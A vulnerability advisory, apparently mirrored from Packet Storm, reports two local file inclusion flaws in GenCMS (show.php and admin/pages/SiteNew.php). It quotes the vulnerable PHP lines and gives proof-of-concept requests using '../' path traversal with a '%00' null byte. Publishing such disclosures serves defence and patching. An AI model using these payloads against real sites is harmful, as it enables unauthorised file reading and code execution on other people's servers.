Lucene search
K

GenCMS Local File Inclusion

🗓️ 10 Jul 2009 00:00:00Reported by eLwauxType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 41 Views

GenCMS Local File Inclusion vulnerability in show.php and SiteNew.ph

Code
`GenCMS  
http://gencms.berlios.de/  
  
eLwaux(c)2009  
  
LFI  
/show.php  
----------------------------------------------------------------------------------------------------  
18: $param = $_GET['p'];  
19: if(empty($param)) $param = 'news';  
20: //get right page  
21: //$page = $param.'.php';  
22:   
23: //static or dynamic  
24: if(GC_FULLSTATIC)  
25: {  
26: $page = $param.'.htm';  
27: staticpage($page);  
28: }  
29: else  
30: {  
31: $page = GC_IPATH.'_base/sites/'.$param.'.php';  
32: dynamicpage($page);  
33: }  
----------------------------------------------------------------------------------------------------  
PoC: /show.php?p=../../{FILE.PHP}%00  
  
  
LFI  
/admin/pages/SiteNew.php  
----------------------------------------------------------------------------------------------------  
14: if(!empty($_GET['step'])) $Step = $_GET['step'];  
23: if ($Step == "2")  
24: {  
25: // allgemeine settings  
26: //include blocks from template config  
27: include_once(GC_IPATH.'templates/'.$_POST['Template'].'/config.php');  
28: $TPLBlocks = explode(';',$TemplateSettings);  
29: }  
----------------------------------------------------------------------------------------------------  
PoC: /admin/pages/SiteNew.php?step=2& ( POST: Template=../{FILE.PHP}%00 )  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2009 00:00Current
0.1Low risk
Vulners AI Score0.1
41